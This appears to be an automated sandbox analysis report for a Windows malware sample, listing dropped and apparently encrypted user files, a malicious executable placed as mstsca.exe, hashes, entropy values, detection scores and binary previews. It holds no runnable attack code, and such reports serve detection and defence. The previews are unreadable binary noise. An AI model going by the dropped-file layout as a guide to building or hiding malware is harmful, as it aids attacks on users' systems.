Preview:	0...0.6..\gx.J...!?".g...q.....{....]E.Px..V.)r..UN..6r.,.z...P..xNy.j.NjI.7F.s.".. ....q.rg9R.J...m\K8....b!._h.,%2.~..5:.1.......3Y<.E.X..l\|.\|.[s.%.7Cu..YI .g..]..z..F..{.G..++/..i.2!.4.^.....8@..+.....s!.}j?i..:.qz.G...U...z.L.?=xjh..m..'N.l.=..N&9.D.~.....CYo.N>'./@......J=..PQ09..s.8..8......+.N.........0.\R....L&..sx.ZQ......K...>._.g...4..?d..{......"bn.m.k.?....65]<da..HL..X.x=UR.Br.C.+..cK2..K.V...1{..9.....E.r}PV.....x.7[...iZ...Dh.....'.E..>...".Rf..}.;.....By)....b.2......b?.\{.=.s.v../....8M...7X..b,T.....-..eM.eoD.A...g@...u...#..9U...}.z..Y;....Q@o.ui...l..._RG........m...^..........E......8{.,......S.M.3d..Z...-.. D.-$.......^+C,.Xr..NH..TcV]\.%-..~g.........KE.s;<Q9.\..huw.....&s..M.\|.fO+........P...t..I...B.>.....H.........}).RR.O0.]..!...{..?S....vD.O.. ...\|k.......Vr.......Y......3....~...U...e4Ib.`.....?r.'...XWi..\|......Q....,....}&...&;...TYJ(.S.....A.c.^.X.~T....:....au.+x...Ur2.....^...'P{\......ySSLibyJ8

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.317517204015572
Encrypted:	false
SSDEEP:	6:ujk2WKdqYLdA3samd49USvY5IYlfC43Od74Kealnk5ZUy8BwOzxcYMWyc3cii96Z:crZq+dA3spd49IWYlfG7tealk8Llc1+X
MD5:	ADF9EB5519648761AD78F05A97606CF9
SHA1:	AB43C6428CA5B7DD37DD1E745DAF66379298E8B9
SHA-256:	6DFC51FC11EDF94CC2789952E31CFDAC342CB4D406066E88791730DC605338B8
SHA-512:	126450A53CE6EC01EF4A4C9644E4AF51832120287AF9CCA42DDA69026011F35CCC6BCEBDEB11FB040A9F5480CDCF03E3CF76606A671A8E40081C9CEB4A8C4596
Malicious:	false
Preview:	%PDFT.P5.KX...< .R.=.M..6.!....x.0z.>....S.q\|...K@..r...J}.!.e......5.,...aZy.S...c.K.#...+7(;..-./.;.VAnt..B.S..n..p......&. ...%.M..()U...z.F.N.B.+3..W-o.H/.......=.."BQ].G.....a....j.').74O..+6....D.w#.".t`...'8.?.-..AM..!v....3..iJXB2.m..2!.6.......JW.(....R.4..>d...Y4.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.452386644040009
Encrypted:	false
SSDEEP:	6:HVwUKAGZmlRrF9lLc37KE/6R5AypYnpoTA0iNimC4oWyc3cii96Z:7zzNLlI37K46R5fpYpo3ARo1+cii9a
MD5:	B259EDE0E584872A3E21DF558D86758A
SHA1:	C1CFB49352E933050D70B5307F91ABA10B5FEF2A
SHA-256:	984325A846171D6B68932ECB077981A450AB34A95E761F856BBBAF59701B3D8B
SHA-512:	B040164A0B58148A2D556A5AE17EF1E22EFB54CF61042E55C1F13F6A67B39B9B7B6CBC0F356DC025E4BC8FFA7428564774BBEDBF81B8A0779ACBC97A2A142BA7
Malicious:	false
Preview:	%PDFT..-..v.I.5F..Fx.....<.....B.,.....Ie.....#a1Q...&m...../i..h..H.6C' .0.+..&..7Xv`Y..l.uqN.....+q.....}...c.d.pz..R...n........8.dO#..z{.p....e"C..."....ey:.Z...&..:f.....U,<<.]......."c;..a..Q\..^........M8]6._...[,O.!.......W..w..M..dU..0.d'r.{6...$_AM......H.)0g]u.>.[`.PA.......C5.kSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Download File

Process:	C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306688
Entropy (8bit):	6.7250330334577075
Encrypted:	false
SSDEEP:	6144:2neDcgRQv5VaNT9DW7a6dtM9VstSttuvqIT:2O0v5VuT9DW7hdt9tKt2qI
MD5:	41B883A061C95E9B9CB17D4CA50DE770
SHA1:	1DAF96EC21D53D9A4699CEA9B4DB08CDA6FBB5AD
SHA-256:	FEF2C8CA07C500E416FD7700A381C39899EE26CE1119F62E7C65CF922CE8B408
SHA-512:	CDD1BB3A36182575CD715A52815765161EEAA3849E72C1C2A9A4E84CC43AF9F8EC4997E642702BB3DE41F162D2E8FD8717F6F8302BBA5306821EE4D155626319
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6..kr.h8r.h8r.h8...8s.h8l..8n.h8l..8..h8U_.8{.h8r.i8.h8l..82.h8l..8s.h8l..8s.h8Richr.h8........................PE..L.....a.................j....;..... .............@...........................>.............................................lh..d.....>../..........................................................0...@............................................text...rh.......j.................. ..`.data.....:..........n..............@....kic..........>......\|..............@....rsrc..../....>..0...~..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\CameraRoll.library-ms

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.8456865615279945
Encrypted:	false
SSDEEP:	24:vCAmJZWo96IC5AzovZCsgqLgOXvhkixUIKlfrWtSF5+1VPk/gbD:aj96KW3fX5kiiIKlfqU5+ACD
MD5:	7930BFA0E8C96B91AEFCDCD44E5F7FC9
SHA1:	9696178BFA5C37140E8A2067952B4C4A12361108
SHA-256:	CFE461F9CED67F25C634A48355B60E842FA4C70D01AFC377EAB6BA0B1F89088F
SHA-512:	B0A736F2CF2B5F288EEE44826B2D1B0A224BFAB183C1791D6F5BB71EB7E89DE2C9152ADF127913B97A2BB907A1143BFFF587575863AD23EAED2848E91402E3E3
Malicious:	false
Preview:	<?xml........_......+bA'..0.If.uA...`X.f2.d.9.z\|F....qwVc95x.%....v;..,.;F..?.......Z.dkf.#+.0.c..(.>.)...p.d......#..T.....,D..2S...8...>..n......u..AsC0....]0.>x..d...l.qq!j........q..[q...^.2.4A.}.j..5......'k....yE...\G.ZO...X(;...I.@.-..g.\|....=...w_.......dA:...i502..t.?.V.....]...3C.....'..u..{....#\.sA...8&.jA$o.k.G.0.`..z.{...Y.........0o..[...V..3m....t!...D.p&.........S..2.:...=]e....W.....B.)...=....\..Y3G./..D.:1ee.......~=mS...<......c....+..Bo1....^M..\D...9.,.(.j.5e.6.j.d. ..O'..^.\|...r~.b.4e`.:S...Y.].t.[....._.&^.B.<PGg....N.E.. 2E"z. .....-qQ.O:,;aA...c.IN.....G.Z\|.......e.S.b..Y.:J.\|....J.....q..j91P...n.L3:.12..."$..0m.2..%ZU..q...R[ZE.C.......ybX.bMVL..o.....\My.E.92...s...\|.o(.H7..}+G.... .+.Jo.`....8dB.>......<....@..y........F.%....,.X.\ ...Y......0..6z....&S?.[.(.....Q....#.e..o...n&..eP..Y..5..[.gn........,0Xr]y.3....G..r.L5.f.'l}..o.;9.@..Es...Q..=.W...=..8....)..t...@..(3V.u.-. \|..y.{P..8.(?.k.T..........0...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	7.911016509898834
Encrypted:	false
SSDEEP:	48:ZvajCboKuCNvf2HCSOcJSL7/GlPZeG62/9WST2kHnjdk6bPD:RsCboKuCNICBl2ZZeG62/9npDdki
MD5:	9677B3399A84A8F34C81F5DE79F9DD3A
SHA1:	FC245270127144949A613787B520115BA7CBC1A8
SHA-256:	AAA4AE1D80D76E13BC6042968E10918D98EFDA50BF5185B965D7B839A01C9483
SHA-512:	51B1B4FA3B282C2B84DC39CB77D92DD67946EC76EA6363AD09AF480CD6A5AF237D57A2F2B44B3184472647DAA8B4150D370F14EE9F4AD6336DA97DBE5FF6742F
Malicious:	false
Preview:	<?xml6.k.gLL.q.V.R.4..[#o..I..[..>.H.;. =...............!%........>..c%9K}z.....?.cR..w..t...4.W......$...2#v..d..JL..0..#,9...Q`.l.\|$.Q..r.C...]YO5-t.6.W.J<.FT'.....8....qx'.&..:...F...t....q.h........@v.....T.j>~....w..Y........m=..".Y.v"..a..J..F.2\!Y0n.x\..%.J/..V..C..R...\.p.mR...\.~....n.@....y..A..//..+.(.\|..5.Y....M...c.....(...x.i...~....O.zW.Y0p.......+...R.(o..a._.Ew....W..D4`..V..?.Ie.3z....U..W...)..T....u.....NP............opS.;V.X...E.~}..9.......P.. ...Z.J..$s.."}...M.I...".`.De5..o..j..d.X..S.U.b.../.........Z!}...#...a.\............z'...Ul$.q....s.A.V...w..U}...o.....\|..]W~.B.;s.....o.....j.....bsF...S....Z..Z..l.F.L.\|.<6....l7..uL.Kdm.0.. ./].n.Qj....]W.a.\|./}....(k.s....W..@'(&.F6M..d5+]e5&..6.S..V...]~..E.....e.Ti..6.....^.A.eW.c..I.....>.s..UWf.0.Y...F..k.j....6..?.ka...O)Zh+H.S....9....3dL..O.x.Ls......=.."P..j.b_....md......../....C. .@.. ..-.k+.Q"Wu%..wD.Q2.k....i..Q...H..Az".`9.Y9.Q......B%l6.}...A;.r

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Music.library-ms

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.9177398297864405
Encrypted:	false
SSDEEP:	48:Fz926+OU97MXsLIZgZr4luqhN/VeHY+rlDcAqLGYHCKWJpnzy+Q2v1D:FzOOKcOIZc0pYZrlD0GKqp9rl
MD5:	AEDF8C3BE9E230C9F71E008086D5139E
SHA1:	CB21799CE14462A8119DBAD30B1FCB7D950009D1
SHA-256:	13E249379AEEF45B3EB3F8AF75B8EAA6EBA969CB53F65AAFCB43A8E301418335
SHA-512:	0AE2BC54C814FE3A13CA0F59D48189FBBA0FA6FA6262E5DB37A6C27FFECF0A74A87DC718BE539341F37106AB4CCE2D226A776BDE1A6D55FB473F10FA6F6F60A5
Malicious:	false
Preview:	<?xmlkzx..p.xWpM.)vj.gf...(W...f........3-=.(..R.....>....<.V0.D.+.....3Q.N5l...Or.].....;..w.\.....Sc[......\|.W^..t~3V.\.{..P...y...sr.6......y,..x{Y.&aD.5......!A.Zg".0.LE...c,S...5'..F......=.v......z..51...=z.6.M....S..q....;......+7...J.6 ...}..[7..T.db=z.`/ `n.!.T..=..m.......>... 0...+.R.-..x..p.}.......B...ir\|z.2.G......o...~.L..$k./$.OH....g.S..N...89}...nqH.....Z?...l.".vD0.O......A&...1....C..cqy.(dZ!.A..7......m.D%....Zh$;.-..g........S5<..y..hu1.......,,:..8d.......~<.KQ6.p`.[A.\|.3Q"....<.i.!....F..\....f..F.~S.."/.ag..........Sn.......[.&.:l^.e.....f.....IY..Go#.X...X.6..)B@...7..!?...T.0......-.DR,m.....4..W..g...K.6....y.........(.}..>..qZ..su.]R..#]....3.h"N.Q......P-}-.o.d./..0..)1....K.&..;......%..6q..w...,M..O...T.j..\.....V...rT...d.../n.!..7p.s.r.k...[LP.A.m.\..i...ORqW..?.~.T.!9....Q.D.N..j]^....Z.....-...,......l.U...uhI...f.=......r.#.........6...Q..........X-.U.7J._...W..#-..P..i-Wh.SD.......y] .o.....B.}.y^......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Pictures.library-ms

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.920467455754991
Encrypted:	false
SSDEEP:	48:FVqsFf9bH2gsZb4KuTVl5IpoRKFW8Wi7zpLwhmD:vnPb+ZbpuT5I+aW8WWVLc+
MD5:	C48C73CCA1248D33284749C87DD4B4E6
SHA1:	54F4F23CBC5C0B162DCD3599679CED3FE87AC45A
SHA-256:	5D86B42B2B656721B387B685EE08376E74A115E8DC95FB228B09EDD2C30461D1
SHA-512:	05F734E5A4AF0194DFA7A435C082E97BFEBB3A45027DECDD2F5E13E6CB01F06AAA9D16997ECDF0CFDCFAC70A9D23B5C1F2E68E41D9785648EF67D7A9C902BAA9
Malicious:	false
Preview:	<?xml....$..mgE\|....mFr.}(.V.....(..........&.<~_.4-.Et.4+....!.....s7....^.O.P!......yWn\|[....W..g....S..V.ho.DOY@....s.z."~.<..:......Ch..>.\....H+......07....N...0..\|I....7.80B........'D.......+@..v....C3....d....Hu...e.Z..@.W.z.m..wwW.wL.+.Ld&1..,k."(Q.'"+...E.L...g..\|..`xX...{.Q5.......#.g.n..O..6..,./,...8=^.e.6....!W.}o .-...~.Kq.V...._.......i..o!...,.V.k.R....@4.9)3.....3.....G..'...E.....y.l.Y.....[$..R.LK.WWY.b.>.....^......7.rx.....]....Q.......H.5H.l......{...E,........l.JJ..`......4..5h...H.WPf..v....TdXx..@.h.hl\|.r.\...t....\c.v4+...t.8@...+.%Y......A7..f.;x.5_....-&.$. ..lO...... ...k.i.....'....\|.&)..T0.5wf).{jfN7uJ.....\......k../...m.K.[.N...H......$Y..........X..Ox..^4........u.......)j............\|.........b....v,u.TY..O..z.[...pE`...y32>..8S3.:5.S..^........S{.DP.....ER......MV.C.{.Q..j.SzRd.D...Z~.}5..I.>"...I.....]P'.....a...J..../....i....0.!.....j4E~.3..1..)....k.?eB..r....fj.N@.I3{MQ2...s...5...#.a...$.O.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\SavedPictures.library-ms

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.843711974922359
Encrypted:	false
SSDEEP:	24:lbAxoBmpZyNia/3YZ1ggOEOTUVTt5JobqTJtQ1fEWQWMdnsbD:NA2QZyMa/0OZTiTqq2pw4D
MD5:	0C1F008F922C531308A9A0432EDC6E68
SHA1:	2329078CD2D4DC0A61C7F25906D491688E51557D
SHA-256:	5F1DA6874386B6FADE5EB65AF35763FA33679702F3D654529C848608C59F058D
SHA-512:	15C659316E833F2CD51FFA6C287CEF9297BD2464149718096097A13AE797BDB22AF922EDA4C57236DAE81E599D675EAF4ECEF8D903C5B39A8CBF6C17F9ADD329
Malicious:	false
Preview:	<?xml.....y.z..8+...B..+.bs....... .P......{....Q...0._,7y.]..X...T})hW......M.]_......P..P.a...m#.........r..U....Y....l..1G.....hz...{...L 9......\|Ca.0Z.....a.p.Q+..Q<?_..Z.4w.(N..$k...r...........W...".`;.T.n.P.D.......F....i.zECV@Y........}x...Q.R.:.K..:.n.D..m.-33..O....u...s...N...T....\|.w.....U~/...m.....J....N...@...j..^..7.`-U^...PK...X..f...0b?..rt.....B<A)"...].\|8.%..,1..+p.,.?.(Q..1.f.I..(.n....i.+.~.2.zn.K.H.8.}.c......z..]."..j..K...JU..98.M.m;......`8..@.b....Q.^.).Hn.\#....h..q[{j6..U.X....Dq.v..#.V.tb.F......)SO.{.d..F@........b......2...F.....Hr.s..~....r...P.Pah.....T...&N....../f<......p..E.O..K..2.Yk..A...!W... ...8....E.>..\..@)..).`.=T.......:..A.\..:....@..D...[pMM3...U.0...y$?....=\|`...m....X.hF?6...[^]..^I.J..`....Zj.Bm..Fy...5q.].A...My..F>.<....W..Q.D......`.>.. .E~.?j!.2.`..b..B....\..+....."r.....}.c.-;....\|p.k..g.+.I....M..k....aj2...E.c.Q.,......6..b..[..JHh..b!.....u.U.CL.....7e...M.q.....v{)A..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.921905982048339
Encrypted:	false
SSDEEP:	48:P2LxdRzNf099BONJCdgdjFjR21WMGW/TjPFjnNBcI7D:P8xdSXO3Hf9HQnPT2K
MD5:	5615B43D3DEE5690557A2D63483D7AE5
SHA1:	52E9AC1EAE2BB989F2478345BB6F87C3D94B5E20
SHA-256:	6635F93CD2DA89A280C69C3038C73ED68F61A0BCC9D11C5208A2662393D1BA14
SHA-512:	353D045D2BDEDF6BA1785C8F128D669BEE8126C2E21C5E04FF1A5668DF2AA543EEE9C95AF69FEAC49541C0C98B27BE712FFBD02BCEF66130050F250A0F36AF2F
Malicious:	false
Preview:	<?xml^..2...r...>...j...1...yLc...........D.B...N..~...O!"C..z;.gv.T..H...jd.........@...rX1.6..%#p....Y....{....S3 \|.Dg...f.!..0.-.....R.z.U.lC.P3(...<.7.....w....iV..j{L../.2B%7.....sa...j...{.H2.D.0.......3....kc......5G../.,gtB.q~....9Sv..v_.#Z9d.b..LmP.u.E..J.>{...^....h_..B=.....5.p.}H.DA...}..@..).M.lI2...gF..%....p...V.Q.........1.E/..l...._.B.5Idd.$.1$F.O.g...{.WIX.bX..I...`"..X....6......D8...W.vv.../. ........$.)r.pf......{]..>91....T..WZ.&v!W..=......PRu....:.g......O[X?...s,.j..{...Vg...` .vS.}. e.....,&0viH.X...,...Z...8.u:..q.n..zn.....<....f....H.7..[..^4g\...f....@Oc.'~..7.Xl.y..f,...;.;^mr..DP.\|.L.I...sf.)..9......@.H.C.#/..@K...@94..r.2........C......]\|....1.})6\|.i_{......W...Q,.yA#)..^..N....5.j.l.1..Ei.\|.k......o.f...d.o..1&xTX"..j...Rs...kK..n.]B..LZ..R..n..1w....`...J;t)..MuO.Z....%Z8.tbe.....\|.;"....tZ..E..7hcW..=eh.,E.7.4)..aIs^1.w..f\L.,)0BU..U.;.".NXt...7b6..i..o..'.....`...z..>.._x..m3/..KK..c\...38{Z.4.dA...{.oW....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DRBXYKCKXO.mp3

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8552865842032595
Encrypted:	false
SSDEEP:	24:4FtT5NM3sce1Amu2lyEvX2MjjOTAJqdt+D7oHp1edlwjOQt/FsbD:4FZ5fARwh+TAJu+DMqdlwjPdsD
MD5:	D38D576EA70D25C73047B7E569829FA7
SHA1:	E4CCDE0DFA3BA2FE686630E1D97CD4CCBC395A6E
SHA-256:	ECAFD38E3B154B29637FB0D35E4AAA5C5C9753C7C3131B9395A8D0D3A187D20C
SHA-512:	6142A4DFB3D4B74B286358FCF85BE5D7B0770B43BADBC1A28770443EEA9DA1F8626334633F2A095E12549E02C25B2FF59A869CC6757DC5490640340334B753D8
Malicious:	false
Preview:	DRBXY.CH<..W..:../F.-q`N...m[{......Q.F.[.<...v.\|....s.....c}.......,dS.....cb.!.kJ%.8.vZ.hN`.3.NG..=Z}.dl.oIg.f..V...f1...PG....i.}:R.fp...rw..I.6..a-.e.p<........^..O.P....x......hI...\.d)&z_.?.a":;.-..\.\|/...{.Z\;(.-...y.d.":.-P..C.....us....m..H..QQC.d..J..n.3"....C.D_...@/PZ.."o'.c..y%..mJ..S.:"@..o.8.....%.....nk{.H..U;S...t)z...........a.j.y$$o,.[...3...j;...&....b.m.#..&...@ ..p5..8...NS$L..j.+...Gj..S%5.M.....\|).....h...c...d.:..#.\..`BG..h\|.?.Y.=%......T..;%:.z{....^&.H-.n~.K.-.c....ZDI..?R.........O?..T..D...@.....D...,..4.S.8.k...,..=.F...........bG9R...f)j..P.r.%hC....r.....{.xI....."...l./27.%1.L.B..In..>g.."V....Rp.+...g.T$9.....).....T.Q.3A./.c..G...\|{...\|...i$I.zY{.IK..j..!.\|......+J..].....c<.T......L..4...Q..P...e.m.mvQ..4..\.i.%.L(\|..?.o.)_...K.e...Z.6..Qjd'.....i.....RQ.,..l....s47..Ok...............]q..W....\.......e..7...S..R...G.{...F.!....m.......s.*...../..g%..&..z.+.....\|..u...c......5.k....A1.z.0.-.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843637420537902
Encrypted:	false
SSDEEP:	24:M9z6/0QywOmjqh9IYvT/hXRTgShyAbGXjsf25hpgiSy95jqklotZzGCNObD:YpwOWq77T/TgNBXjsUpgiVzqkloDSCuD
MD5:	5830DD367E12C94AE173CCC8C2B1D2ED
SHA1:	B5FF16D983E228826E92AD6EF1675F18AB80AAD9
SHA-256:	9CC50FFB3F9B45F349A9D238184F4FFB04A5D4B76A0FE26DC0C1AE77CD5C724F
SHA-512:	617350F06C54563A944DB845D720CA7C2C767637EB98EA2ACE67362AD7AC30D448854F2B370EC92AA7C0BFF957D79CF838C7463CA31CC786A5E64A57C9794420
Malicious:	false
Preview:	DTBZG+.e.h....~\|.j.5....&......kT;.y.5s....xr..:...S.r...8G.1..g.EP.k...tQ..........m.,.[6..s.G.....H.6(Z.`.....v......_.$.T.z.....F;.....b.../T..=..u ......$..8..R...\..a<.._...wj...w-....{+...^......j..+.......Zt..4\.....Q....N...34.......{cU.Yw.....hPr.kc........ABP..)..9..`..r.4.i.}O..R.P.Z..zXW.J.Z[.....!.M.PK.-4....!2....-.g.\.a....Z...j.lR..\..oC..;..^.c..R.Gs`..........VV..o..`.."q?oP7.0..m.~G9....'b......S..e.-..I..M....vG-a..B.X.5..\|..'t..6.b.S.m..0!R=.M....2...4L..>.RUY..... M....%!q{....OJ...3.kP.$%......$.2K.s...\|.....p......o`.....Ds.../\....P........"'.m....l+..YG....+..lR\|l...r....;..?..M.{.'..~^?X...2..$s.w\|.t7.!.r...D....w...\|.r.XJ..W..........X...?..x.9.Z.&[.>OYa.&..!0H0.<E..It5w`6..-.#S...=...G....fZ...."m.1.}nR/..)...!.jd..o....z...6Y.....-.U.+.g.&..:.....<o.)D.........@#^..W....U...x...8.Q.2..Y..A....\|D.n..x....,.S.. &....... .;...;s.lOC.;...WxRP..\|...c\|...\.dI..Bs.$. ......iw..$UC1..x.... ...N.i....w.;.6

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853699625735911
Encrypted:	false
SSDEEP:	24:aTxi5A87+BeZbi3RWZhWxI6LD8kYNTxXzl08wt11Fpy/tQTehFach+TgfbxbD:zoE+5DYZ0/t11F4ceTThLfdD
MD5:	D95B31A0ED8EFFDA4733238048343CDD
SHA1:	B9141928B3B94BCAE392315DF7242FD61B91DA42
SHA-256:	CAEDE1BA27DD0E71FF54DAA97B7EB4C24737889839919B2D2C6B5317BC13C41C
SHA-512:	4CF007F314F3DE1FBF7F497295AED47901295C70E324EE574DFF983FE71073D77C2F987039F554B7D9B0459E17F24230B244DD9E1ACB77A7508ECB89E1151827
Malicious:	false
Preview:	DVWHK8N....8...AW.Xy.....,F)......V...[.!$...;.>W......A.g.F,. L..............A./.!..+@..$.U.4v....u.XO.`K.8...!..@.E....'.@._\|@..q.....l.i~p......O.A8....5z.......t.&Z...@...R...`).....^.z.s.9.].]..@.dXm..,.t..(9.q.[ iX.](.O>.d...j......~ZH.u.\N..#;....<9....t.....p.H.k...J....v..L.......Qg2......T4z......../hz...z:.._.n.M.h....4m..\...n.n....XYsm.vq.Y.....p.u8#....)..l..~.I$...g...Q.q&'<.A.....a...7......(uG...:K.Z>..\..[.&E..^.6...m...._..S?vW8..'.F;#/X.......+A.^........].N`....DX\|.a..4.l1..7...[.+.4Xl...&.2n...7o.NX......E.a.(;Lj.+.......AN.Yicw.].Xl{IL....R.BW6]}o9.l..l..i....W.....c..C.Zn.s.S.."Vx .#..yN.O.{.F8n)..5?mm~......V:0..s...f. ..c.6Q....h..,.....s....)...,..lI....=.uj....h..G..7...n.D..iPfBK..L_...Xu...E.4.@..'S..u[f.L...G...b.K.R.;.B.U..w...Y,...vUB......$....^.....=..0.e..u.$..).k.i.4>...q_.;...........U..d...cl.\?.f.0/...].].+...R.....g......../y.v.,.....:....yq...&....#..A...wY.l.L.w..Y.a...5d...Y\."u..+...7

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HYGZTMOBZN.jpg

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8220802959104505
Encrypted:	false
SSDEEP:	24:oD6ca03IiRZrRO4qg8mU9KipLdnIa+/MkifxBv2zg3ujuV2jUwzS4uwWrtJNgEtJ:Upz88MJI2kiDeg5VuzSEstJNg2QmD
MD5:	8BB2950696C1CB90508F27523984BD3D
SHA1:	0464C7EA0A82735226C620957EDD0AB076DDA237
SHA-256:	7218508EBDF3CC3157BC771EE384071CCE0700898CA971D903DA27C361F59058
SHA-512:	CD7F22E1F42D84F2ABC6443C2D7AE24E0BC61943B7CDAC907EABA5C8D433F15F732666251982DE062B8B9CE62CE8322259758D47B697ECD2C300F8D26BB05930
Malicious:	false
Preview:	HYGZT:...=.].F@Ha..=........wL..8...V......m....&{.8}>..Q.j8.zW..xb..,y^_'.Gdm.w...@ixO....5...)..8..S....?....I{.....q.b....J-..0..%..(h...F=.Jw..~s...........Wt./8.._.Pd...R.(..&+zC.v.+...On.....%?....r.L3.....7..IL.&.y.0..3tyS2kqs..,.~...#.g.g.T..:4........mO.>I.&.h..4.S...j6....7.or.>..R\|..p...9...wc.Z.L.cc...~...2....._.m.....$.n.....~..G.r..l..d.2.^.t..n.b..Ix........B.X..j.T.^...#.]..q...U..r.0o.3.%-. w..k..1.p.!.s;.....j{6..Z..@.3.......k...+.49..[.X....y...C.V..7.."...6.I..%.b..O.q.......).......b.4......T.FI.M._..4....L..3>.W..D..S........@....3.3Cs..g.GhB.F.`$`....E.L.........o.#.d.J....Y...W.6.h#.(.{.....Z.XDu6.@LX./-...T3....s...D.`K........q.<.y..9.{..]Z.q...M....4...+.m...7..X#6.....$.Z.....GtL.`.j.".....z.OND..Y.I..Zbg.O=.7?.E.(..F.qa..YM'CrV.ZzW1%...b....p4A...A...`....~)...y.^..Q8.o.o9..&Mf.&M..S@G{>dqf%..8)..o.5.t-.._..~~..V....N^>U.L...J!......oq..AhVb$/D.?.P..........JD`....J..........&G....~.MkF.....pU..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HYGZTMOBZN.mp3

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8538460736821705
Encrypted:	false
SSDEEP:	24:cUc2xxEVNmlGVkJEjWVZdvHkrY3XO+RAmFPUaN2O9KwvL/hSg3x/wFERjVzbbD:PDEVIlGVkSyVZdvHkrY3++RAasaRTvXh
MD5:	F48D3BCE2D4451279BB0CCA5EC64F1EF
SHA1:	4C0FA167EF5900A607DC1ED401D94526BE6C38D8
SHA-256:	CDE44A39A2A904CBFE19D6F4871D49E40D68ED4D8B2E2960C4F3DBEB40761173
SHA-512:	AC71A0BB4702C4F03551FA15F9C5BAF21FDDD35FFE17F5C1AFDD6F9C0D2BD541B5106261C55DF052657B0B232C50DFF266295336B03DE840D17A74BC746603AF
Malicious:	false
Preview:	HYGZT5...a..D......d9.j....(4Y4;.$8."@...]....o-@.].....k&]o.c]_iW;8(.GR.f?..).o(.',=t$.... ..F...sT....$..Fvyn"v..V.N...g.F.w..:.....~.._.v..[..YYA....... ....k.R2Lj+.&...6..By.N..}....}1.......Q.y..d.Dx..../..j.?.gkX.Oj...Z)7(..nn.i..:..Q..N.....EY..[..u..,}.=..VWaaP.1.)..[~qmm............=..&dcK..................(e.U.....i...z.Z.D.z/...b.Ta....YO{..WK2..U[....T.l.9..u..p'a...x....a0M.#&.......u.s..r....X...].i\|5.d.oK.(.L..Y.......;TI..j....eJk....G9.6......Ej..8..dJ8.y..C?....z..V..y.~.".T..w.....3wQ. ..W{.@..-....].g.$.\|....ED..m....o....0.0.!QW.....0u/....7..YL+.2.J...2...p_.u....[...$)....%.>.z...F..Z..;.~.&j...}7.R...g&..St.V..+.,V.J.7..T@.e..4_[g.@....... ...!..m..LMifT3.78.=.i.mZ.t..{.q.yIz.~........c..P..s....9.]hm.Z...I...JAzU.^.u.._....Z..%.}$TR/++...G.......9:..MQ.......P..'X..... q.d..^.y...}.F..=.....".........s.^D..............2N.53.t!R7.^......G..)...^.q=...=-....I.v.i.+.X.%.K.....e.!.4X...0.g.6..j....z.."q.c.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JDDHMPCDUJ.mp3

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844620257528149
Encrypted:	false
SSDEEP:	24:IwnUlULNzi35WFA0ZI/gKRlYn3d6sTr0pfLbSW0PW4QE1vl5jbD:xGULNOKi/Rl47TmF2UE1t53D
MD5:	D7D963B7270CEA344934FF559BA0BA3B
SHA1:	D6EBB00299C228C275FE0E5268195076B1D9427D
